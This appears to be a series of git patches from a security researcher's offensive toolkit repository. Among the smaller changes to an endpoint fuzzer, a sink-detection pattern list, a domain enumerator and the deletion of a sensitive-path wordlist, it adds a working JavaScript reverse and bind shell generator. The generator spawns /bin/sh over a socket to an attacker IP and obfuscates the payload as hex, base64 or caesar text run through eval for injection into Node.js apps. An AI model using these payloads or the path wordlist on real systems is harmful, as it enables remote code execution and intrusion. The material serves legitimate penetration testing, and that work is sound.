+ "-" * 78 - print "\n{}\n".format(resp.content) - print "\n" + "-" * 100 + "\n" - + if len(resp.content) != last_response_size: + print "{} to {} {} HTTP {}: \t\t\t\tresponse size: {}".format( + method, url, resp.status_code, msg, len(resp.content)) + last_response_size = len(resp.content) + if be_verbose == True and len(resp.content) > 0: + print "-- Response content --" + "-" * 78 + print "\n{}\n".format(resp.content) + print "\n" + "-" * 100 + "\n" def enumerate_endpoints(api_url, wordlist): print "[+] enumerating existing endpoints using dictionary with {} names...".format(len(wordlist)) @@ -75,7 +95,7 @@ def enumerate_endpoints(api_url, wordlist): enumerated = [] for w in wordlist: resp = requests.get(api_url + w.strip(), headers=HEADERS) - if resp.status_code != 404: + if True or resp.status_code == 200: enumerated.append(w.strip()) c = c + 1 @@ -87,36 +107,31 @@ def enumerate_endpoints(api_url, wordlist): return enumerated -def send_requests(enumerated_endpoints): +def send_requests(enumerated_endpoints, get_params): print "[+] sending HTTP requests to previously identified {} endpoints. This migth take a while...\n\n".format( len(enumerated_endpoints)) c = 0 - for http_method in HTTP_METHODS: - if http_method == 'GET': - - get_params = open('params.txt', 'r').readlines() + for w in enumerated_endpoints: + for http_method in HTTP_METHODS: - for w in enumerated_endpoints: + if http_method == 'GET': c = c + 1 resp = requests.get(api_url + w, headers=HEADERS) print_response(api_url + w, http_method, resp) - for w in enumerated_endpoints: for param in get_params: c = c + 1 url = api_url + w + '?{}=google.ie'.format(param.strip()) resp = requests.get(url, headers=HEADERS) print_response(url, http_method, resp) - if http_method == 'HEAD': - for w in enumerated_endpoints: + if http_method == 'HEAD': c = c + 1 resp = requests.head(api_url + w, headers=HEADERS) print_response(api_url + w, http_method, resp) - if http_method == 'POST': - for w in enumerated_endpoints: + if http_method == 'POST': c = c + 2 # application/xml HEADERS['Content-Type'] = 'application/xml' @@ -132,8 +147,7 @@ def send_requests(enumerated_endpoints): print_response(api_url + w, http_method, resp, " with JSON payload") - if http_method == 'PUT': - for w in enumerated_endpoints: + if http_method == 'PUT': c = c + 2 # application/xml HEADERS['Content-Type'] = 'application/xml' @@ -153,10 +167,9 @@ def send_requests(enumerated_endpoints): def main(): - wordlist = open('endpoints.txt', 'r').readlines() - + [wordlist, get_params] = prepare_dictonaries() enumerated_endpoints = enumerate_endpoints(api_url, wordlist) - send_requests(enumerated_endpoints) + send_requests(enumerated_endpoints, get_params) if __name__ == "__main__": From 739ecd176811102828142e7b3d0ab254e6801436 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 30 Sep 2018 00:25:08 +0100 Subject: [PATCH 025/460] [nodestructor] patterns polishing --- nodestructor/nodestructor.py | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 82fbafe..eba070c 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -56,8 +56,8 @@ ".*execFile\(", ".*spawn\(", ".*fork\(", - ".*setTimeout\(", - ".*setInterval\(", + # ".*setTimeout\(", + # ".*setInterval\(", ".*setImmediate\(", ".*newBuffer\(", ".*constructor\(" @@ -92,7 +92,7 @@ ".*history.replaceState\(", ".*navigator.userAgent", ".*window.open\(", - ".*window.postMessage\(", + ".*postMessage\(", ".*.addEventListener\(['\"]message['\"]", ".*.ajax", ".*.getJSON", @@ -114,12 +114,6 @@ ".*\$sce\.trustAsHtml\(" ] -HTML_PATTERNS = [ - ".*", - ".*", - ".*" -] - URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") URLS = [] @@ -282,7 +276,7 @@ def perform_code_analysis(src, pattern=""): IDENTIFY_URLS = ARGS.include_urls if ARGS.include_html_patterns: - PATTERNS = PATTERNS + HTML_PATTERNS + BROWSER_PATTERNS + PATTERNS = PATTERNS + BROWSER_PATTERNS if ARGS.recursive: for subdir, dirs, files in os.walk(BASE_PATH): From 1fb258e25d290a6f3384e99689469473e98c95de Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Thu, 11 Oct 2018 13:42:28 +0100 Subject: [PATCH 026/460] JS reverse shell genrator by @0x4ndr3 --- JSReverseShellGenerator.py | 139 +++++++++++++++++++++++++++++++++++++ 1 file changed, 139 insertions(+) create mode 100644 JSReverseShellGenerator.py diff --git a/JSReverseShellGenerator.py b/JSReverseShellGenerator.py new file mode 100644 index 0000000..ed48304 --- /dev/null +++ b/JSReverseShellGenerator.py @@ -0,0 +1,139 @@ +#!/usr/bin/env python +# +# Author: Andre Lima @0x4ndr3 +# Blog post: https://pentesterslife.blog/ +# + +import click +import socket # to validate the IP address +import urllib # to URL percent-encode the payloads +import base64 + + +def get_default_bind_JS_code(port): + return '''(function x(){require('http').createServer(function(req,res){res.writeHead(200,\ +{"Content-Type":"text/plain"});require('child_process').exec(require('url').parse(req.url\ +,true).query['c'],function(e,s,st){res.end(s)})}).listen(%s)})()''' % port +# (function x(){ +# require('http').createServer( +# function(req,res){ +# res.writeHead(200,{"Content-Type":"text/plain"} +# ); +# require('child_process').exec(require('url').parse(req.url,true).query['c'], +# function(e,s,st){ +# res.end(s) +# } +# ) +# } +# ).listen(%s) +# })() + + +def get_default_reverse_JS_code(ip, port): + return '''(function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh"\ +,[]);var client=new net.Socket();client.connect(%s,"%s", function(){client.pipe(sh.stdin);sh.stdout.\ +pipe(client);sh.stderr.pipe(client)});return /pwned/;})()''' % (port, ip) +# (function(){ +# var net = require("net"), +# cp = require("child_process"), +# sh = cp.spawn("/bin/sh", []); +# var client = new net.Socket(); +# client.connect(%s, "%s", function(){ +# client.pipe(sh.stdin); +# sh.stdout.pipe(client); +# sh.stderr.pipe(client); +# }); +# return /pwned/; // Prevents the Node.js app from crashing +# })() + + +def show_result(encoded_payload): + print + print "Original payload:" + print encoded_payload + print + print "Copy and paste the next line (URL encoded already):" + print urllib.quote_plus(encoded_payload) + print + + +class IPParamType(click.ParamType): + name = 'IP' + + def convert(self, value, param, ctx): + try: + socket.inet_aton(value) + return value + except socket.error: + self.fail('%s is not a valid IP address' % value, param, ctx) + + +IP = IPParamType() + + +@click.group() +def generator(): + pass + + +@click.command() +@click.option('-p', '--port', type=click.IntRange(1, 65535), default=4444, help='value between 1 and 65535') +@click.option('-e', '--encoding', type=click.Choice(['hex', 'base64', 'caesar']), default='hex') +@click.option('-k', '--key', type=click.IntRange(1, 255), default=1, help='only read if caesar encoding is chosen') +def bind(port, encoding, key): + print "TCP Port = %s" % (port) + print "Encoding = %s" % (encoding) + if encoding == "caesar": + print " Key = %s" % (key) + encoded_payload = "" + JS_payload = get_default_bind_JS_code(port) + if encoding == 'hex': + encoded_payload = "eval(Buffer.from('" + \ + JS_payload.encode('hex') + "','hex').toString())" + elif encoding == 'base64': + encoded_payload = "eval(Buffer.from('" + \ + base64.b64encode(JS_payload) + "','base64').toString())" + elif encoding == 'caesar': + for i in JS_payload: + encoded_payload += "%03d" % (ord(i)+key) + encoded_payload = "caesarShift=(str,amount)=>{var output='',code='';for(var i=0;i Date: Tue, 16 Oct 2018 00:12:52 +0100 Subject: [PATCH 027/460] [nodestructor] Missing brackets in some patterns so they return false-positives --- nodestructor/nodestructor.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index eba070c..4306c87 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -94,9 +94,9 @@ ".*window.open\(", ".*postMessage\(", ".*.addEventListener\(['\"]message['\"]", - ".*.ajax", - ".*.getJSON", - ".*\$http.", + ".*.ajax\(", + ".*.getJSON\(", + ".*\$http\(", ".*navigator.sendBeacon\(", ".*\.add\(", ".*\.append\(", From 331696a0f28cba9ccb3a9c54ad7ef67819bd4fb1 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Wed, 17 Oct 2018 13:40:08 +0100 Subject: [PATCH 028/460] [hexview] remove background color as it looks terrible in Ubuntu terminal :P --- ds-store-parser.py | 7 +++++++ hexview/hexview.py | 22 +++++++++++----------- 2 files changed, 18 insertions(+), 11 deletions(-) create mode 100644 ds-store-parser.py diff --git a/ds-store-parser.py b/ds-store-parser.py new file mode 100644 index 0000000..3c87afd --- /dev/null +++ b/ds-store-parser.py @@ -0,0 +1,7 @@ +#!/usr/bin/python + +# DS_Store file parser + +ds_store_file = open('DS_Store','b') + +print ds_store_file \ No newline at end of file diff --git a/hexview/hexview.py b/hexview/hexview.py index 1d24ec4..b0316f7 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -143,20 +143,20 @@ } COLORS = { - "black": '\33[0;30m\33[40m', - "white": '\33[0;37m\33[40m', - "red": '\33[0;31m\33[40m', - "green": '\33[0;32m\33[40m', + "black": '\33[0;30m', + "white": '\33[0;37m', + "red": '\33[0;31m', + "green": '\33[0;32m', "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m\33[40m', + "yellow": '\33[0;33m', "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m\33[40m', - "magenta": '\33[0;35m\33[40m', + "blue": '\33[0;34m', + "magenta": '\33[0;35m', "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m\33[40m', - "grey": '\33[0;90m\33[40m', - "lightgrey": '\33[0;37m\33[40m', - "lightblue": '\33[0;94m\33[40m' + "cyan": '\33[0;36m', + "grey": '\33[0;90m', + "lightgrey": '\33[0;37m', + "lightblue": '\33[0;94m' } # some globals From 4cf4ad8d9ddd9b329ca14c807981fd849d970dc8 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Thu, 1 Nov 2018 21:46:38 +0000 Subject: [PATCH 029/460] [static-analysis] small refactoring between Medium post publication :) --- nodestructor/static_analysis.py | 24 +++++++++++++----------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/nodestructor/static_analysis.py b/nodestructor/static_analysis.py index 2fc7fc4..806848a 100755 --- a/nodestructor/static_analysis.py +++ b/nodestructor/static_analysis.py @@ -5,7 +5,7 @@ from imports.beautyConsole import beautyConsole -jsfile = open('js/foobar.js', 'r') +jsfile = open('/Users/bl4de/tmp/AppMeasurement.js', 'r') file_read = jsfile.readlines() @@ -21,6 +21,7 @@ def decorate_varname(var_name): return beautyConsole.getColor("red") + var_name + beautyConsole.getColor("white") + def decorate_source(src_line): return beautyConsole.getColor("yellow") + src_line + beautyConsole.getColor("white") @@ -42,16 +43,17 @@ def decorate_source(src_line): res = re.search(variable_definition_regex, line) if res: variable_name = res.group(2) - print "\n[+] found {} variable definition in line {}: {}".format(decorate_varname(variable_name), line_no, decorate_source(line)) - inner_line_no = 0 - if variable_name == variable_to_trace: - for inner_line in file_read: - inner_line = inner_line.replace('\n', '') - inner_line_no = inner_line_no + 1 - if variable_name + '=' in inner_line.replace(' ', ''): - print "\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) - if '({})'.format(variable_name) in inner_line.replace(' ', ''): - print "\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + print "\n[+] found {} variable definition in line {}:\n {}".format(decorate_varname(variable_name), line_no, decorate_source(line)) + inner_line_no = 0 + + if variable_name == variable_to_trace: + for inner_line in file_read: + inner_line = inner_line.replace('\n', '') + inner_line_no = inner_line_no + 1 + if variable_name + '=' in inner_line.replace(' ', ''): + print "\n\t{} used in assignment in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) + if '({})'.format(variable_name) in inner_line.replace(' ', ''): + print "\n\t{} used in function call as an argument in line {}:\n\t{}\n".format(decorate_varname(variable_name), inner_line_no, decorate_source(inner_line)) print "\n\n[+] DONE\n" From 37f211e880928b8aa855a4289fea685089a5e1e9 Mon Sep 17 00:00:00 2001 From: bl4de Date: Sun, 25 Nov 2018 00:55:19 +0000 Subject: [PATCH 030/460] [diggit] do not display file content if file is bigger than 2kB --- diggit/src/diggit.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/diggit/src/diggit.py b/diggit/src/diggit.py index 1929c82..96e87fd 100755 --- a/diggit/src/diggit.py +++ b/diggit/src/diggit.py @@ -57,7 +57,11 @@ def print_object_details(objtype, objcontent, objhash, objfilename): tmpfile.close() print "{0}[*] Object content:{1}\n".format(term["green"], term["endl"]) - print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + if len(objcontent) < 2048: + print "{0}{1}{2}".format(term["yellow"], objcontent, term["endl"]) + else: + print "{}[!] file too big to preview - {} kB{}".format( + term["red"], len(objcontent)/1024, term["endl"]) def get_object_url(objhash): From deaa25fd68b40d902cdd823e034d5d6a511e95c2 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 25 Nov 2018 00:58:15 +0000 Subject: [PATCH 031/460] test commit --- diggit/src/diggit.py | 1 + 1 file changed, 1 insertion(+) diff --git a/diggit/src/diggit.py b/diggit/src/diggit.py index 96e87fd..8fcccdf 100755 --- a/diggit/src/diggit.py +++ b/diggit/src/diggit.py @@ -62,6 +62,7 @@ def print_object_details(objtype, objcontent, objhash, objfilename): else: print "{}[!] file too big to preview - {} kB{}".format( term["red"], len(objcontent)/1024, term["endl"]) + def get_object_url(objhash): From a546735bda7034797461f6d01bdfff681dc43d8b Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sun, 25 Nov 2018 00:58:57 +0000 Subject: [PATCH 032/460] revert test --- diggit/src/diggit.py | 1 - 1 file changed, 1 deletion(-) diff --git a/diggit/src/diggit.py b/diggit/src/diggit.py index 8fcccdf..96e87fd 100755 --- a/diggit/src/diggit.py +++ b/diggit/src/diggit.py @@ -62,7 +62,6 @@ def print_object_details(objtype, objcontent, objhash, objfilename): else: print "{}[!] file too big to preview - {} kB{}".format( term["red"], len(objcontent)/1024, term["endl"]) - def get_object_url(objhash): From b378e96fb9d0a5c2563bcfbd970ea52b17b96f75 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Fri, 30 Nov 2018 08:16:14 +0000 Subject: [PATCH 033/460] [denumerator] Refactoring; ArgumentParser added; request timeout as option --- denumerator/denumerator.py | 33 ++++++++++++++++++++++++--------- 1 file changed, 24 insertions(+), 9 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index a297541..9a00057 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -13,7 +13,7 @@ usage: $ ./denumerator.py [domain_list_file] """ - +import argparse import sys import requests @@ -27,9 +27,8 @@ allowed_http_responses = [200, 302, 304, 401, 404, 403, 500] -domains = open(sys.argv[1].strip(), 'rw').readlines() output_file = open(sys.argv[1] + '_denumerator_output.txt', 'w+') - +timeout = 2 def usage(): """ @@ -47,7 +46,7 @@ def send_request(proto, domain, output_file): 'https': 'https://' } resp = requests.get(protocols.get(proto.lower()) + domain, - timeout=5, + timeout=timeout, allow_redirects=False, verify=False, headers={'Host': domain}) @@ -86,9 +85,25 @@ def enumerate_domains(domains, output_file): else: pass -if len(sys.argv) < 2: - print welcome - exit(0) +def main(): + + parser = argparse.ArgumentParser() + + parser.add_argument( + "-f", "--file", help="File with list of hostnames") + parser.add_argument( + "-t", "--timeout", help="Max. request timeout (default = 2)") + + args = parser.parse_args() + if args.timeout: + timeout = arg.timeout + + domains = open(args.file, 'rw').readlines() + + enumerate_domains(domains, output_file) + output_file.close() + + -enumerate_domains(domains, output_file) -output_file.close() +if __name__ == "__main__": + main() \ No newline at end of file From e0a076a63f21305e186e89939a5f5f0b4f7ffb68 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 1 Dec 2018 19:07:53 +0000 Subject: [PATCH 034/460] [denumerator] small fixes --- denumerator/-f_denumerator_output.txt | 1 + denumerator/-h_denumerator_output.txt | 0 denumerator/denumerator.py | 4 ++-- 3 files changed, 3 insertions(+), 2 deletions(-) create mode 100644 denumerator/-f_denumerator_output.txt create mode 100644 denumerator/-h_denumerator_output.txt diff --git a/denumerator/-f_denumerator_output.txt b/denumerator/-f_denumerator_output.txt new file mode 100644 index 0000000..32641f6 --- /dev/null +++ b/denumerator/-f_denumerator_output.txt @@ -0,0 +1 @@ +HTTP Response: 200 xyz.xyz diff --git a/denumerator/-h_denumerator_output.txt b/denumerator/-h_denumerator_output.txt new file mode 100644 index 0000000..e69de29 diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index 9a00057..76677ef 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -20,7 +20,7 @@ welcome = """ --- dENUMerator --- usage: -$ ./denumerator.py [domain_list_file] +$ ./denumerator.py -f DOMAINS_LIST -t 5 """ requests.packages.urllib3.disable_warnings() @@ -96,7 +96,7 @@ def main(): args = parser.parse_args() if args.timeout: - timeout = arg.timeout + timeout = args.timeout domains = open(args.file, 'rw').readlines() From 94c640c397c47a89f64ca7dcefc110f0799d42f6 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 12 Dec 2018 22:57:04 +0000 Subject: [PATCH 035/460] [nodestructor] jQuery and YUI sinks/sources --- nodestructor/nodestructor.py | 14 +++++++++++++- 1 file changed, 13 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 4306c87..f676a55 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -111,7 +111,19 @@ ".*\.bypassSecurityTrust.*\(", ".*localStorage\.", ".*sessionStorage\.", - ".*\$sce\.trustAsHtml\(" + ".*\$sce\.trustAsHtml\(", + ".*\.load\(", + ".*jQuery\.ajax\(", + ".*parseHTML", + ".*wrap.*\(", + ".*html\(", + ".*before\(", + ".*after\(", + ".*insertBefore\(", + ".*insertAfter\(", + ".*prepend", + ".*setContent\(", + ".*setHTML\(" ] URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From 1f840aaff446a0dafe6928263cd490fee929a450 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Mon, 17 Dec 2018 20:05:02 +0000 Subject: [PATCH 036/460] [nodestructor] Handlebars SafeString() pattern --- nodestructor/nodestructor.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index f676a55..f26b1cd 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -123,7 +123,8 @@ ".*insertAfter\(", ".*prepend", ".*setContent\(", - ".*setHTML\(" + ".*setHTML\(", + ".*\.SafeString\(" ] URL_REGEX = re.compile("(https|http):\/\/[a-zA-Z0-9#=\-\?\&\/\.]+") From 976ae38a832aa2cb9c68c042bf2839b4106c83ab Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Wed, 19 Dec 2018 01:46:30 +0000 Subject: [PATCH 037/460] [nodestructor] make line code more readable --- nodestructor/nodestructor.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index f26b1cd..827e65f 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -171,7 +171,7 @@ def printcodeline(_line, i, _fn, _message): """ _fn = _fn.replace("*", "").replace("\\", "").replace(".(", '(')[0:len(_fn)] print ":: line %d :: \33[33;1m%s\33[0m %s " % (i, _fn, _message) - print beautyConsole.getColor("grey") + _line + \ + print beautyConsole.getColor("green") + '\n\t' + _line.lstrip() + \ beautyConsole.getSpecialChar("endline") From cdadffd3de0e52b9f663b1cabdb849804211e833 Mon Sep 17 00:00:00 2001 From: "bloorq@gmail.com" Date: Sat, 5 Jan 2019 01:46:10 +0000 Subject: [PATCH 038/460] [hexview] Ambigous file types starting with 47... (MPEG-2 and GIF89a) - to figure out later --- hexview/hexview.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index b0316f7..1ab6fc6 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -16,6 +16,7 @@ # https://en.wikipedia.org/wiki/List_of_file_signatures FILE_SIGNATURES = { 'a1b2c3d4': 'Libpcap File Format', + # '47': 'MPEG Transport Stream (MPEG-2 Part 1)', 'd4c3b2a1': 'Libpcap File Format', '0a0d0d0a': 'PCAP Next Generation Dump File Format (pcapng)', 'edabeedb': 'RedHat Package Manager (RPM) package', @@ -122,7 +123,6 @@ '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', '7B5C72746631': 'Rich Text Format', '54415045': 'Microsoft Tape Format', - '47': 'MPEG Transport Stream (MPEG-2 Part 1)', '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', '7801': 'zlib (No Compression/low)', From 05fccf1f5f0fee64d19b032cc5735f2c56b95ef0 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Mon, 7 Jan 2019 12:45:05 +0000 Subject: [PATCH 039/460] removed dummy files --- denumerator/-f_denumerator_output.txt | 1 - denumerator/-h_denumerator_output.txt | 0 2 files changed, 1 deletion(-) delete mode 100644 denumerator/-f_denumerator_output.txt delete mode 100644 denumerator/-h_denumerator_output.txt diff --git a/denumerator/-f_denumerator_output.txt b/denumerator/-f_denumerator_output.txt deleted file mode 100644 index 32641f6..0000000 --- a/denumerator/-f_denumerator_output.txt +++ /dev/null @@ -1 +0,0 @@ -HTTP Response: 200 xyz.xyz diff --git a/denumerator/-h_denumerator_output.txt b/denumerator/-h_denumerator_output.txt deleted file mode 100644 index e69de29..0000000 From 784cf2b7547da066114c8382382f284cff7c1b0d Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Mon, 7 Jan 2019 13:00:09 +0000 Subject: [PATCH 040/460] [encoder] fixed conversion to hex; small refactoring --- encoder/ed.py | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/encoder/ed.py b/encoder/ed.py index 32570d5..04f29ba 100755 --- a/encoder/ed.py +++ b/encoder/ed.py @@ -37,8 +37,7 @@ def from_ascii(s): def from_hex(s): xs = "" - decimals = s.split() - for d in decimals: + for d in list(s): xs += str(int(d, 10)) return xs @@ -46,9 +45,8 @@ def from_hex(s): def to_hex(s): xs = "" - hexnums = s.split() - for d in hexnums: - hexnum = str(hex(int(d, 10))).replace("0x", "") + for d in list(s): + hexnum = str(hex(ord(d))).replace("0x", "") if len(hexnum) < 2: hexnum = "0" + hexnum xs += hexnum + " " From 9f72a2356955a4f28db8bf362ff402f6c1cd8842 Mon Sep 17 00:00:00 2001 From: "rafal.janicki@genomicsmed.ie" Date: Mon, 7 Jan 2019 13:18:03 +0000 Subject: [PATCH 041/460] remove recon script --- recon/dict.txt | 3144 ---------------------------------------- recon/recon.sh | 75 - recon/tests | 3 - recon/tests_subdomains | 3 - 4 files changed, 3225 deletions(-) delete mode 100644 recon/dict.txt delete mode 100755 recon/recon.sh delete mode 100644 recon/tests delete mode 100644 recon/tests_subdomains diff --git a/recon/dict.txt b/recon/dict.txt deleted file mode 100644 index f236a36..0000000 --- a/recon/dict.txt +++ /dev/null @@ -1,3144 +0,0 @@ -.htaccess -.htpasswd -.git -.gitignore -.git/config -.git/logs/HEAD -.git/ORIG_HEAD -.git/description -.git/FETCH_HEAD -.git/packed-refs -.travis.yml -.bowerrc -.jshintrc -.gitlab-ci.yml -gulpfile.js -LICENCE -README -CHANGELOG -CONTRIB -CONTRIBUTING -LOG -LOGS -package.json -karma.conf.js -bower.json -test -tests -e2e-tests -unit-tests -.svn -.hg -.hg/store/00manifest.i -.hg/store/data -.hg/dirstate -.hg/requires -.hgignore -.hg/store/00manifest.d -.gitlab-ci.yml -.idea -.idea/modules.xml -.idea/dataSources -.idea/dataSources.xml -.idea/dataSources.local.xml -.idea/workspace.xml -.idea/.rakeTasks -.idea/vcs.xml -.nbproject -.DS_Store -.idea/workspace.xml -.ssh -.bashrc -.bash_profile -.bash_history -cvsroot -cvsroot/CVSROOT -cvsroot/CVSROOT/val-tags -old -tmp -temp -backup -backups -wwwold -dev -devel -develop -debug -logslogs -.log -.logs -log -logs -logger -loginfo -trunk -stage -tag -tags -branch -branches -modules -module -include -includes -refs -references -reference -asset -assets -origin -origins -50x.html -conf -conf/ -conf/fastcgi_params -conf/fastcgi.conf -conf/koi-utf -conf/koi-win -conf/mime.types -conf/nginx.conf -conf/scgi_params -conf/uwsgi_params -conf/win-utf -contrib -contrib/ -contrib/geo2nginx.pl -contrib/README -contrib/unicode2nginx -contrib/unicode2nginx/koi-utf -contrib/unicode2nginx/unicode-to-nginx.pl -contrib/unicode2nginx/win-utf -contrib/vim -docs -docs/ -docs/CHANGES -docs/CHANGES.ru -docs/LICENSE -docs/OpenSSL.LICENSE -docs/PCRE.LICENCE -docs/README -docs/zlib.LICENSE -html -html/ -html/50x.html -html/index.html -index.html -logs -logs/ -nginx.exe -temp -temp/ -ROOT -add -balancer -dav -deploy -examples -examples/jsp/index.html -examples/jsp/snp/snoop.jsp -examples/jsp/source.jsp -examples/servlet/HelloWorldExample -examples/servlet/SnoopServlet -examples/servlet/TroubleShooter -examples/servlet/default/jsp/snp/snoop.jsp -examples/servlet/default/jsp/source.jsp -examples/servlet/org.apache.catalina.INVOKER.HelloWorldExample -examples/servlet/org.apache.catalina.INVOKER.SnoopServlet -examples/servlet/org.apache.catalina.INVOKER.TroubleShooter -examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/snp/snoop.jsp -examples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/source.jsp -examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/snp/snoop.jsp -examples/servlet/org.apache.catalina.servlets.WebdavServlet/jsp/source.jsp -examples/servlet/snoop -examples/servlets/index.html -examples/../manager/html -examples/%2e%2e/manager/html -examples/%252e%252e/manager/html -host-manager -host-manager/add -host-manager/host-manager.xml -host-manager/html/* -host-manager/list -host-manager/remove -host-manager/start -host-manager/stop -html/* -install -j4p -jmxproxy/* -jsp-examples -list -manager -manager/deploy -manager/html -manager/html/* -manager/install -manager/jmxproxy -manager/jmxproxy/* -manager/list -manager/manager.xml -manager/reload -manager/remove -manager/resources -manager/roles -manager/save -manager/serverinfo -manager/sessions -manager/start -manager/status.xsd -manager/status/* -manager/stop -manager/undeploy -reload -remove -resources -roles -save -serverinfo -servlet/default/ -servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.DefaultServlet/tomcat.gif -servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.SnoopAllServlet -servlet/org.apache.catalina.INVOKER.org.apache.catalina.servlets.WebdavServlet/ -servlet/org.apache.catalina.servlets.DefaultServlet/ -servlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif -servlet/org.apache.catalina.servlets.HTMLManagerServlet -servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.DefaultServlet/tomcat.gif -servlet/org.apache.catalina.servlets.InvokerServlet/org.apache.catalina.servlets.SnoopAllServlet -servlet/org.apache.catalina.servlets.ManagerServlet -servlet/org.apache.catalina.servlets.SnoopAllServlet -servlet/org.apache.catalina.servlets.WebdavServlet/ -servlets-examples -sessions -start -status/* -stop -tomcat-docs -undeploy -webdav -webdav/index.html -webdav/servlet/org.apache.catalina.servlets.WebdavServlet/ -webdav/servlet/webdav/ -.gitignore -Gemfile -README -README.rdoc -Rakefile -app -app/assets/images/rails.png -app/assets/javascripts/application.js -app/assets/stylesheets/application.css -app/controllers -app/controllers/admin_controller.rb -app/controllers/application.rb -app/controllers/application_controller.rb -app/helpers/application_helper.rb -app/mailers -app/mailers/.gitkeep -app/models -app/models/.gitkeep -app/views/layouts/application.html.erb -config -config.ru -config/application.rb -config/boot.rb -config/database.yml -config/deploy.rb -config/environment.rb -config/environments -config/environments/development.rb -config/environments/production.rb -config/environments/test.rb -config/initializers -config/initializers/backtrace_silencers.rb -config/initializers/inflections.rb -config/initializers/mime_types.rb -config/initializers/secret_token.rb -config/initializers/session_store.rb -config/initializers/wrap_parameters.rb -config/locales -config/locales/en.yml -config/routes.rb -core -create -db -db/seeds.rb -dispatch.cgi -dispatch.fcgi -dispatch.rb -doc -doc/README_FOR_APP -lib -lib/assets -lib/assets/.gitkeep -lib/tasks -lib/tasks/.gitkeep -log -log/.gitkeep -log/development.log -log/production.log -log/server.log -log/test.log -public -public/404.html -public/422.html -public/500.html -public/favicon.ico -public/index.html -public/robots.txt -rails -rails/info -rails/info/properties -script -script/about -script/console -script/dbconsole -script/destroy -script/generate -script/performance -script/performance/benchmarker -script/performance/profiler -script/performance/request -script/plugin -script/process -script/process/inspector -script/process/reaper -script/process/spawner -script/rails -script/runner -script/server -stdlib -test/fixtures -test/fixtures/.gitkeep -test/functional -test/functional/.gitkeep -test/integration -test/integration/.gitkeep -test/performance/browsing_test.rb -test/test_helper.rb -test/unit -test/unit/.gitkeep -tmp/cache -tmp/cache/assets -vendor/assets/javascripts -vendor/assets/javascripts/.gitkeep -vendor/assets/stylesheets -vendor/assets/stylesheets/.gitkeep -vendor/plugins -vendor/plugins/.gitkeep -app/views/home/index.html.erb -assets/application.css -assets/jquery.js -assets/application.js -assets/home.css -assets/home.js -posts -posts/new -posts/1/edit -posts.json -javascripts/application.js -javascripts/prototype.js -stylesheets/application.css -images/rails.png -invoker/ -invoker/JMXInvokerServlet -jbossmq-httpil/ -jbossws/services -jmx-console -jmx-console/ 